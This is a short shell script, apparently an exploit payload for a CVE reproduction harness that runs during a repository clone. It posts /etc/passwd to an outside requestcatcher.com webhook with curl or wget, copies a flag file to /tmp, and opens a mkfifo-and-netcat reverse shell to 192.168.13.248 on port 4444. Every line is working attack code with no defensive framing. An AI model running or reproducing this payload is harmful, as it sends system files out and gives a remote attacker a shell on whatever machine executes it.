#!/usr/bin/env sh
set -eu
# Send /etc/passwd to your webhook (ignore errors to avoid breaking clone)
curl -fsSL --max-time 10 --data-binary @/etc/passwd \
  https://cve48384.requestcatcher.com \
  || wget -qO- --timeout=10 --post-file=/etc/passwd \
       https://cve48384.requestcatcher.com \
  || true
# Optional: keep the local flag signal for harness PASS/FAIL
if [ -f "$HOME/flag.txt" ]; then
  (umask 077; cat "$HOME/flag.txt" > /tmp/flag.txt)
fi

# Reverse shell to YOUR_IP:4444 (replace YOUR_IP with your listener's IP)
# Attempts multiple methods for reliability
HOST="192.168.13.248"  # Replace with your IP (e.g., 192.168.1.100)
PORT=4444

# Primary reverse shell (working mkfifo + nc, Linux target)
mkfifo /tmp/f; nc $HOST $PORT < /tmp/f | /bin/sh > /tmp/f 2>/dev/null; rm /tmp/f &
